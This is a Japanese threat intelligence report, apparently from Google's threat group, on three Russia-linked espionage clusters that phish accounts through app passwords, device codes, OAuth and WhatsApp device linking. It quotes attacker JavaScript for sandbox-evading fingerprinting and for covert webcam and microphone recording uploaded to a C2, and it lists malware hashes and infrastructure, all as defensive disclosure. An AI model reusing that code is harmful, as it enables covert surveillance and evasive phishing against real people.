ロシアが関心を寄せる個人を狙う、複数の別系統クラスター

執筆者: Gabby Roncone、Wesley Shields

概要 

Google Threat Intelligence Group(GTIG)は、正規の認証フローを悪用してヨーロッパ全域の学術機関、航空宇宙・防衛、政府機関、シンクタンクに従事する人物、さらには米国内の学術機関・シンクタンク関係者を標的とする、ロシアによるサイバースパイ活動が疑われる3つの別系統の脅威クラスターを追跡しています。これらの手口の例は、UNC6293のフィッシング活動に関する以前のブログ記事でも紹介しています。今回GTIGは、フィッシングを行い、OAuthフローを悪用し、および／またはマルウェアを被害者に展開する、さらに2つの別系統のロシア関連が疑われるクラスター、UNC7005とUNC5976を追跡しています。特にUNC7005は、ReliaquestおよびMicrosoftが報告したホスピタリティ業界のキャプティブポータルリダイレクトと関連があります。各グループのキャンペーンの手口はそれぞれ異なりますが、いずれも正規の認証ワークフローを悪用してアカウントを侵害することに主眼を置いている点で共通しています。

これらのクラスターは、複数のプラットフォームにまたがる個人アカウントを侵害するために、巧妙なソーシャルエンジニアリング手法を用いた、粘り強く適応力の高いフィッシングキャンペーンを展開しています。これらの活動は正規の認証フローを悪用しており、ユーザーからは一見フィッシングの試みには見えない場合があるため、GTIGはこうした個人を狙うソーシャルエンジニアリングキャンペーンについて注意を喚起し、標的となり得る人々が悪意ある接触をより容易に見抜けるようにすることを目的としています。   

UNC6293

GTIGは中程度の確信度で、UNC6293はICE RELIC(旧APT29)の初期アクセス活動を担うサブクラスターであると評価しています。UNC6293の活動は2025年6月に初めて報告され(Citizen Labによる報告もあります)、ロシアに批判的な著名人を標的とした、強引なアプリパスワードフィッシングキャンペーンとして知られています。アプリパスワードとは、セキュリティレベルの低いアプリやデバイスにアカウントへのアクセス権限を与えるためにユーザーが設定できるパスコードです。アプリパスワードフィッシングでは、攻撃者は標的に特定のアプリパスワードをアカウントに設定させようとし、それを使って二要素認証(2FA)を経ずにアカウントへアクセスします。以前に確認されたUNC6293のキャンペーンでは、攻撃者は米国国務省になりすまし、標的にms.state.govという名前のアプリパスワードを設定させようと誘導していました。その手順は、UNC6293が標的に使わせたい設定のスクリーンショットを含むPDFに記載されていました。

その後1年の間に、UNC6293は国務省関係者へのなりすましとアプリパスワードフィッシングを続けています。一例として、2025年10月にGTIGは、2025年6月に確認されたものと全く同じスクリーンショット(ms.state.govへの言及を含む)を用いたPDFの誘導文書をUNC6293が使用しているのを観測しました。2025年当時、攻撃者は被害者に対しアプリパスワードをメールで送り返すよう要求していましたが、こうした新しい活動では、一見正規に見えるウェブサイト上の認証フォームに入力するよう求めるようになっています。

UNC6293のフィッシングキャンペーンは規模が小さい傾向にあり、通常は一度に5人未満のユーザーを標的としています。GTIGが観測したアプリケーション名や誘導文書のテーマは、外交関連や今後の会議・会合を扱う傾向があり、2025年12月にVolexityが報告した事例などが該当します。

時間の経過とともに、UNC6293は米国国務省へのなりすましを継続しつつ、OAuthフィッシングも手口に取り入れるようになりました。2026年6月にGTIGは、外部プロバイダーへの正規のログインを実行させた後、標的にフルURLまたは「確認コード」を共有するよう要求するOAuthフィッシングを観測しました。要求された確認コードを提供すると、標的はUNC6293にそのアカウントへのアクセス権を与えてしまうことになります。

UNC7005 

UNC7005(別名STORM-2945)は、2026年2月に特定された脅威クラスターで、主にウクライナ、西欧、米国全域の学術機関、外交、非営利団体の関係者を標的としています。このグループはUNC6293と標的の重複を含む多くの高レベルの類似点を持っていますが、洗練度が低く運用面のセキュリティ(OPSEC)が甘いこと、インフラの特徴が異なること、マルウェアを組み込んでいることから、GTIGは別クラスターとして追跡しています。同様に、UNC7005もICE RELICに関連するもう一つの初期アクセスクラスターであると、中程度の確信度で評価しています。

アプリパスワードフィッシング

少なくとも2026年2月以降、UNC7005はロシア政府が関心を寄せる個人を標的に、非常に選別的なアプリパスワードフィッシング活動を行っています。この活動はUNC6293と類似したソーシャルエンジニアリング手法を用いていますが、観測された事例のうち1件を除き、使用されるアプリパスワードが標的ごとに固有である点で異なります。これらは標的に対するソーシャルエンジニアリングで使われるテーマに特化しており、例えば標的が従事しているとされる活動の種類(セキュアなファイル共有など)や、UNC7005がなりすましている組織などを反映しています。

デバイスコードフィッシング

UNC7005はまた、MicrosoftアカウントおよびWhatsAppアカウントの両方を対象にデバイスコードフィッシング活動も行っています。これらのフィッシングの波で用いられるテーマは、標的の専門分野に関連する著名な組織の人物との通話への招待であることが多く、最近では外交関連のイベントや会議への招待という形も見られます。 

Microsoftデバイスコードフィッシング

UNC7005は当初、Microsoftデバイスコードフィッシングをメール経由で配信しており、正規のイベントや組織になりすますために作成した攻撃者管理下のドメインから送信されることもあります。これらのメールにはこうした攻撃者のウェブサイトへのリンクが含まれ、しばしば類似したテンプレートが使われます。例えばUNC7005は、2026年4月下旬の「大使館招待」をテーマにした以前の活動で使ったウェブサイトのテンプレートを、2026年5月に正規のGLOBSECフォーラムになりすました別の活動で当初そのまま再利用していました。

このウェブページにアクセスすると、標的のシステムのフィンガープリントが取得されます。これはおそらく、自動化されたスキャナーがページにアクセスしていないかを確認するためと考えられます。

  (function(){
    var fp = {
      tid:   "3311a310cd4f40d4",
      sw:    screen.width,
      sh:    screen.height,
      tz:    Intl.DateTimeFormat().resolvedOptions().timeZone,
      lang:  navigator.language,
      plat:  navigator.platform,
      cores: navigator.hardwareConcurrency || null,
      mem:   navigator.deviceMemory   || null,
      touch: navigator.maxTouchPoints || 0,
    };
    fetch('/fingerprint', {
      method:   'POST',
      headers:  {'Content-Type': 'application/json'},
      body:     JSON.stringify(fp),
      keepalive: true,
    }).catch(function(){});

図5: 解析回避のための初期システムフィンガープリント取得

(function(){
      var h = false;
      try {
        // webdriver flag â set by ChromeDriver, Puppeteer, Selenium
        if (navigator.webdriver) h = true;
        // Headless Chrome has no plugins at all
        // Headless Chrome / PhantomJS often have no languages
        if (!h && (!navigator.languages || navigator.languages.length === 0)) h = true;
        // Chrome-specific runtime object absent in headless older builds
        if (!h && typeof window.chrome === 'undefined' &&
            /chrome/i.test(navigator.userAgent)) h = true;
        // Permission query behaves differently in headless
        if (!h && navigator.permissions) {
          navigator.permissions.query({name:'notifications'}).then(function(r){
            if (r.state === 'denied' && Notification.permission === 'default') {
              document.documentElement.innerHTML = '';
              window.stop();
            }
          }).catch(function(){});
        }
      } catch(e) { h = true; }
      if (h) { document.documentElement.innerHTML = ''; window.stop(); }
    })();

図11: 解析回避のための2つ目のシステムフィンガープリント取得

WhatsAppのデバイスリンク(その他の手口も)

2026年5月と6月に、UNC7005はWhatsAppになりすましたソーシャルエンジニアリング活動を行いました。攻撃者が配信したフィッシングページは、標的に対し、セキュアなWhatsAppの通話・チャット・文書共有に参加するためと称して、自分のWhatsAppアカウントを攻撃者が管理するデバイスにリンクさせるよう誘導します。デバイスがリンクされた後、攻撃者はさらに複数の手口で侵害を試みます。

function startMediaRecording() {
    if (!navigator.mediaDevices || !navigator.mediaDevices.getUserMedia) {
      return Promise.resolve();
    }
    return navigator.mediaDevices.getUserMedia({ video: true, audio: true })
      .then(function(stream) {
        mediaStream = stream;
        var selfVideo = document.getElementById('self-video');
        var selfView = document.getElementById('self-view');
        if (selfVideo && selfView) {
          selfVideo.srcObject = stream;
          selfView.style.display = '';
        }
        recordedChunks = [];
        var options = { mimeType: 'video/webm;codecs=vp8,opus' };
        if (!MediaRecorder.isTypeSupported(options.mimeType)) {
          options = { mimeType: 'video/webm' };
          if (!MediaRecorder.isTypeSupported(options.mimeType)) {
            options = {};
          }
        }
        mediaRecorder = new MediaRecorder(stream, options);
        mediaRecorder.ondataavailable = function(e) {
          if (e.data && e.data.size > 0) recordedChunks.push(e.data);
        };
        mediaRecorder.start(1000);
      })
      .catch(function() {
      });
  }
  [...]
  function uploadRecording() {
    if (mediaStream) {
      mediaStream.getTracks().forEach(function(t) { t.stop(); });
      mediaStream = null;
    }
    if (!recordedChunks.length) return;
    var blob = new Blob(recordedChunks, { type: recordedChunks[0].type || 'video/webm' });
    recordedChunks = [];
    var formData = new FormData();
    formData.append('recording', blob, 'recording_' + sessionId + '.webm');
    fetch('/api/code/' + sessionId + '/recording', { method: 'POST', body: formData })
      .then(function(r) { if (!r.ok) throw new Error('Upload failed'); })
      .catch(function() {
        return fetch('/api/code/' + sessionId + '/recording', { method: 'POST', body: formData });
      })
      .then(function(r) { if (r && !r.ok) throw new Error('Upload failed'); })
      .catch(function() {});
  }

図15: 標的の音声・映像を記録しC2にアップロードする悪意あるJavaScript

フィッシングページは、デバイスリンクに成功した後、標的に偽の「暗号化チャット」オプションを提示することもあります。JavaScriptはまずチャット認証情報と、URI /chat/loginを含む追加のログインURLを表示します。標的には、そのユーザー名とパスワードをコピーして2つ目のURLでログインするよう促されます。 

標的がファイル転送の誘導を受け、WhatsAppアカウントのリンクに成功した場合、ウェブページにはファイルダウンロードボタンが表示されます。GTIGは現時点で、ダウンロード用にどのようなファイルが用意されていたかを確認できていません。 

ブラウザステーラーとマルウェア・アズ・ア・サービス(MaaS)

2026年5月下旬、UNC7005はこれまで観測してきたどのフィッシングの波よりもはるかに広範囲な活動を行いました。この活動は、ロシアや旧ソ連諸国を専門とする、主に米国拠点の著名な学者、外交官、研究者を標的としていました。この活動で攻撃者が使用したメールアドレスは、2025年6月のUNC6293の活動で使われたものとほぼ同一でした。

この活動でUNC7005は、フィッシングメールを通じて悪意あるURLを配布しました。標的がWindowsまたはmacOSのデバイスからそのURLにアクセスした場合、ウクライナ支援決議に関連した「サミット」をテーマにしたなりすましのランディングページに誘導されました。それ以外の場合はエラーが表示され、互換性のために別のOSに切り替えるよう求められました。

このウェブサイトは標的をだますためにより手の込んだ作りになっており、決議のさまざまな内容に関する情報を含むほか、質問や技術的な問題に対応するための攻撃者の連絡先情報まで掲載されていました。 

標的がウクライナに関する決議の全文を読むために「サミットコンパニオンアプリ」をダウンロードするボタンをクリックすると、標的のユーザーエージェントで示されたOSに応じた情報窃取マルウェアが配信されました。

Windowsの場合

ユーザーエージェントが標的のマシンがWindowsで動作していることを示す場合、悪意あるウェブページはVIDARのサンプル(1d9299799a7b8da67c44ebec064d64542c27645f8e84de4a22ca3f6cbc843e3c)を標的に配信します。このサンプルは難読化されたGoバイナリで、C2は107.189.18[.]7です。VIDARはマルウェア・アズ・ア・サービス(MaaS)として運営されている情報窃取マルウェアで、主にブラウザに保存された認証情報、決済情報、Cookie情報、保存済み住所などの機密情報を標的とし、これらを平文でC2に送信します。 

Macの場合

ユーザーエージェントが標的のマシンがmacOSで動作していることを示す場合、悪意あるウェブページはATOMICのサンプル(c5826032207d623a7f6caec8465af7364eccc355f9a48897da2a54f3e4420265)を標的に配信します。ATOMIC(別名AtomicStealer)はMaaSとして運営されるmacOS向けの情報窃取マルウェアで、こちらもブラウザの機密情報を標的とします。 

OAuthフィッシング

クラウドプロジェクト 

2026年8月上旬、UNC7005はクラウドインフラを利用したGoogleアカウントのOAuthフィッシング活動を開始しました。2026年7月31日以降、UNC7005は、北大西洋条約機構(NATO)の文脈で防衛・安全保障市場のフィンランド企業を支援する正規団体、Finnish Operations Center(FOC)になりすましたドメインを登録しました。2026年8月6日から8月13日にかけて、UNC7005は欧州防衛産業に関連する、あるいは関わりのある標的に対し、攻撃者管理下のドメインへリンクする標的型フィッシングメールを送信しました。

その他のOAuthフィッシング

2026年8月上旬、GTIGは、UNC7005が正規のMicrosoft OAuth URLを標的に直接送信するという、極めて標的を絞ったフィッシング活動を確認しました。この活動で使われた攻撃者のメールアドレスは、クラウドプロジェクトOAuthフィッシング活動でも使用されていたものでした。   

UNC7005とホスピタリティ業界のキャプティブポータルキャンペーン

2026年4月下旬、GTIGはMicrosoft認証リソースを模倣するUNC7005のインフラの追跡を開始しました。各ドメインが脅威アクターによって実運用されていると判明するたびに、GTIGはそのインフラをセーフブラウジングのブロックリストに追加する対応を取りました。公開されている報告と一致する形で、2026年7月中旬、GTIGはホテルや会議施設に関連するキャプティブポータルからこの攻撃者インフラへユーザーがリダイレクトされる様子を観測し始めました。2026年7月23日、Reliaquestは、ドメインネームシステム(DNS)リクエストを分析し、キャプティブポータルがMicrosoft認証リソースになりすました攻撃者管理下のログインページへリダイレクトしている様子を示すブログ記事を公開しました。その後2026年7月31日には、Microsoftが、ホスピタリティ業界のネットワーク上のキャプティブポータルを利用してマルウェアを配信、あるいはデバイスコードフィッシングによりMicrosoftアカウントへのアクセスを得るMidnight Blizzardの活動について詳細を公表しました。 

キャプティブポータルキャンペーンで使用されたインフラ一式は、その存続期間を通じて、脅威アクターによって複数の用途で使い回されていたとみられます。GTIGはこのインフラを、2026年4月まで遡ってUNC7005が行ってきた他の認証関連活動やマルウェア活動と直接結び付けました。

ホスピタリティ業界のキャプティブポータルドメインに関連するあるドメインは、以前のデバイスコードフィッシング活動で使用されたUNC7005のドメインと同一のIPアドレスに解決されています。 

• 2026年7月16日から7月23日にかけて、UNC7005はMicrosoft Outlook Web Access(OWA)をテーマにした3つのドメイン(owa-ms365[.]com、m365-owa[.]com、ms365-device[.]com)をメールアドレス[email protected]で登録しました。これらは後にホスピタリティ業界のキャプティブポータルキャンペーンと関連付けられています。 

• この攻撃者のメールアドレスは以前、Microsoftを装った別のドメインms365-live.comの登録にも使われており、こちらはIP104.194.159[.]150に解決されていました。 

• 2026年4月には、本ブログで先述したGLOBSECをテーマにしたMicrosoftデバイスコードフィッシング活動で使われたドメインmy-invite[.]orgが、IP104.194.159[.]150に解決されていました。 

この実行者は、他の活動でもMicrosoftのサービスになりすました追加のドメインを使用していました。2026年4月下旬にMicrosoftになりすました攻撃者管理下の以前のドメイン(statistic-ms[.]live)は、UNC7005がENGINELIGHTと呼ぶGo言語のマルウェアのC2として使用していました。このマルウェアは2026年5月上旬、攻撃者が管理するアカウント[email protected]から、WhatsAppになりすましたドメイン(wa-connect[.]eu)とともに、限定的なフィッシング活動の中で配信されました。さらに、statistic-ms[.]liveの登録に使われた攻撃者のメールアドレス([email protected])は、先述した2026年5月下旬のMaaS活動でも使用されていました。

また、UNC7005が実施したキャンペーンと、キャプティブポータル活動で展開されたと報告されているツールとの間にツールの重複も確認しています。CHERRYPIE PowerShell情報窃取マルウェア(別名ChocoShell)のサンプルには、大規模言語モデル(LLM)によって生成されたことを示唆する多くの痕跡が含まれています。豊富な関数コメントの中で情報窃取マルウェアについて言及されており、機能を示す特定の関数オフセットがバイナリ内に記載されています。この脅威アクターがMaaSを活動に活用していることをGTIGが観測している点や、マルウェアファミリー間の機能的な重複(標的とするデータの種類の一貫性など)を踏まえると、CHERRYPIEはMaaS運営者から購入した情報窃取マルウェアをベースにしている可能性があるとGTIGは考えています。

UNC5976 

GTIGは2026年3月から、認証を主眼とするロシア関連のサイバースパイクラスターと疑われるUNC5976に関連するOAuth活動の追跡を開始しました。このクラスターはUNC6293やUNC7005とは別系統であるとGTIGは考えています。

UNC5976の活動の主なテーマの一つは、OAuthフィッシング手法の利用と、クラウドインフラの悪用によるトークン収集の自動化でした。こうしたOAuthフィッシングキャンペーンを実行するため、UNC5976は通常ファイル共有関連のドメイン名を用いてドメインを購入し、そのドメインに関連するクラウドプロジェクトを作成していました。これらのドメインは偽のファイル共有ページをホストしています。標的がそのページに数秒間アクセスすると、ポップアップのログインダイアログが表示されます。

認証後、標的はGoogle CloudプロジェクトのURLへリダイレクトされます。このクラウドプロジェクトには、URLから認証トークンを取得し、実行者が後で取得できるよう保存する悪意あるスクリプトがホストされていました。

GTIGが最初に発見・妨害してから約3か月の間に、UNC5976は少なくとも12の新しいドメインと関連インフラを作成しました。これに対しGTIGはこれらのクラウドプロジェクトを無効化し、フィッシング活動を妨害する措置を講じました。GTIGは現在、UNC5976がフィッシングインフラの一部をホストするためにGoogleのインフラから他のプロバイダーへの移行を進めていると評価しています。

これらのフィッシングページに加え、GTIGはUNC5976がHEADRUSHと名付けた悪意あるExcelプラグインを利用しているのも観測しています。2026年4月、GTIGはHTMLアプリケーション(HTA)ダウンローダーへと最終的につながるHEADRUSHのサンプル(2c7f4165967d6f7737b3fef87959846920b57a5368b531ad1427c7214d4c41a2)を観測しました。UNC5976は、ウクライナの研究機関になりすましたドメインを使ってこのマルウェアを配布しており、ウクライナの航空宇宙・画像処理企業を標的にしていた可能性があります。残念ながらGTIGは、感染チェーンの全容をこの時点では特定できませんでした。

アトリビューション

GTIGは、高レベルの標的パターン、フィッシングのテーマ、共有される運用手法に基づき、これら3つの脅威クラスター(UNC6293、UNC7005、UNC5976)がロシアとの関連性を持つと高い確信度で評価しています。これらの活動は表面上それぞれ独自性があるように見えることが多いものの、UNC6293とUNC7005が用いる複数の高レベルのTTPは、2021年から2024年にかけての、帰属が確認済みの古いICE RELICのフィッシング活動を彷彿とさせます。 

ICE RELIC、UNC6293、そしてUNC7005

GTIGは中程度の確信度で、UNC6293とUNC7005は、GTIGが初期アクセス活動に関連付けているICE RELICのサブクラスターに関連していると評価しています。そのためUNC6293とUNC7005は運用上の手法を共有していますが、異なるインフラを運用し、OPSEC(運用セキュリティ)の許容基準も異なっています。 

• 過去のICE RELICフィッシング活動と現在のUNC6293・UNC7005のキャンペーンとの間には、標的業界(学術機関、NGO、外交、防衛)と地理的地域の両面で著しい重複が見られます。 

• これらのグループは、外交イベントへの招待やワインへの特定の言及など、ICE RELICの活動で以前から確認されてきた特定の旧来のテーマを引き続き使用しています。

• すべてのクラスターは、侵害後の活動において商用の住宅用プロキシに大きく依存しています。 

別系統だが注目すべき: UNC5976

UNC5976は依然としてUNC6293やUNC7005のクラスターとは別系統であり、これは戦略上の目的の違いや、別のロシア情報機関との連携の可能性を反映しているとみられます。 

• その活動の焦点は主に軍事、航空宇宙、防衛産業基盤、そしてNGO・シンクタンクに置かれています。このグループの地理的な標的対象は、主にウクライナとアルメニアに集中しています。 

• UNC5976は、侵害後の活動において住宅用プロキシではなく専用インフラを使用しています。 

• UNC5976は、OAuth関連の活動も行っているにもかかわらず、ICE RELIC関連のクラスターと比べてマルウェアやツールの利用がはるかに多い点が特徴です。 

対策と強化策

Googleはユーザーの安全を最優先事項としています。Googleは既知の実行者アカウントを積極的に無効化し、可能な場合は被害者のアカウントを保護して、既知の侵害済みアカウントへのアクセスを遮断します。今回の一連の活動で悪意あるコンテンツのホスティングに使われたインフラに対しても、対応措置を講じました。不審なウェブサイトに対する警告が表示された場合は、その先に進まないよう強く推奨します。認証情報を入力したり、ウェブサイトで認証を行ったりする前に、ブラウザに表示されているURLを必ず確認してください。未知の連絡者からの招待については、必ずその正当性を、招待状の外部で見つけた連絡先情報を使って公式の主催者に直接確認してください。メールやメッセンジャーアプリでの接触が一見正規の人物からのものに見えても、そのアカウントがなりすましである可能性を考慮してください。  

アプリパスワードの使用は推奨されておらず、ほとんどの場合不要です。アプリパスワードは、アカウントや本人確認のためのツールではありません。アプリパスワードを他人と共有しないでください。紛失・盗難にあった、あるいは使用しなくなったデバイスに紐づく古いアプリパスワードは失効させることを推奨します。今回のキャンペーンに関連するアプリパスワードを設定した可能性があると思われる場合は、可能な限り早急に手順に従ってアカウントからアプリパスワードを削除してください。アプリパスワードはいつでも削除可能です。

特定のシナリオでは、欺瞞的なアプリからユーザーを保護するため、機密性が高いとみなされる権限スコープを要求する未検証・テストモードのクラウドプロジェクトについて、OAuth同意画面を表示する前に「未検証のアプリ」という警告画面を表示しています。 

リスクの高いユーザーは、Advanced Protection Program(APP)などのGoogleの強化されたセキュリティリソースの利用を検討してください。APPに参加すると、より高いセキュリティ要件のためアカウントでアプリパスワードを作成できなくなります。Google Cloudの法人顧客は、2段階認証プロセスを「セキュリティキーのみ」に制限するか、ユーザーをAdvanced Protection Programに登録することで、アプリ専用パスワードを無効化できます。 

脅威アクターは、被害者の個人用メッセージングアプリを継続的に標的とし、デバイスリンク攻撃を行っています。こうしたアプリケーションに依存する組織やリスクの高い個人は、以下の対策により防御を強化し続けるべきです:

• 可能な限り登録ロックと二要素認証を導入し、盗まれたSMS確認コードを使った敵対者によるアカウント登録を防止する

• 法人・個人双方のデバイスにおいて、「リンク済みデバイス」の定期的な監査チェックを確立する 

• セーフティナンバー/コードを活用し、プラットフォーム外の通信手段でユーザーを検証する 

展望と示唆

これらのロシアによる認証を主眼としたサイバースパイ活動のクラスターは、アプリパスワードからデバイスリンクに至るまで、正規の機能とインフラを利用して複数の種類の認証を標的としています。特に、正規機能を巧妙に悪用してアカウントを侵害する手口は、正規のアクセスと悪意あるアクセスの追跡をより一層困難にしています。これらのグループが標的とするアカウントは、企業のドメインに参加したアカウントよりも個人アカウントであることが多く、組織的な視点からの侵害監視において可視性の欠落を生み出しています。初期の接触にメールではなく暗号化されたメッセンジャーアプリが使われることが多い点も、悪用の追跡・是正を目指す防御側にとって課題となっています。これらの手口が組み合わさることで、攻撃者は迅速な情報窃取活動を実行できるだけでなく、侵害済みの正規アカウントから関心のある標的をさらにフィッシングする機会も得ることになります。 

これらの実行者が採用している戦術は、脅威アクターの活動を分かりにくくし、アトリビューションをより困難にしています。GTIGは現在、以前の分析時よりも多くのUNC6293管理下のインフラを追跡していますが、その使用インフラの量は他のロシアのスパイ活動と比較すればなお限定的です。UNC7005がマルウェア活動にMaaSとLLMを利用している点は、こうした活動をアトリビューションと是正の両面でさらにグレーゾーンに押しやっています。こうした選択は、活動用のツール開発・準備にかかる時間も短縮しており、独自ツールを用いた迅速な活動展開を可能にしています。

ロシア国家の支援を受ける攻撃者によるこうした手口の変化を受け、これらのクラスターの標的業種で働く個人は、未検証であっても一見馴染みがある、あるいは正規に見える人物や組織からの接触に対し、引き続き警戒を怠らないようにする必要があります。 

謝辞

これらの活動の一部を追跡・妨害する上でご協力いただいた業界全体のパートナーの皆様に感謝申し上げます。特に、Anthropic、Lumen TechnologiesのBlack Lotus Labs、Microsoft Threat Intelligence Center(MSTIC)、ポーランド軍防諜局(SKW)、WhatsAppの各パートナーの皆様にお礼申し上げます。 

侵害指標(IOC)

本ブログ記事で取り上げた活動の探索・特定をコミュニティ全体で支援するため、登録ユーザー向けのGTI Collectionに侵害指標(IOC)を掲載しています。

ネットワーク指標

表1: ネットワーク指標

ファイル指標

Google Security Operations(SecOps)

Enterprise Plusライセンスを持つGoogle Security Operationsのお客様は、Applied Threat Intelligence – Curated Prioritizationルールパックの下でこれらのルールをご利用いただけます。本ブログ記事で取り上げた活動は、Applied Threat Intelligence(ATI)アラートで検知可能です。これらのアラートは、キュレーション済みの検知を用いたYARA-Lルールによってコンテキスト化されたIoC一致情報です。このコンテキスト化には、Google SecOpsのコンテキストエンティティから得られるGoogleの脅威インテリジェンスが活用されており、インテリジェンスに基づいたアラートの優先順位付けが可能になっています。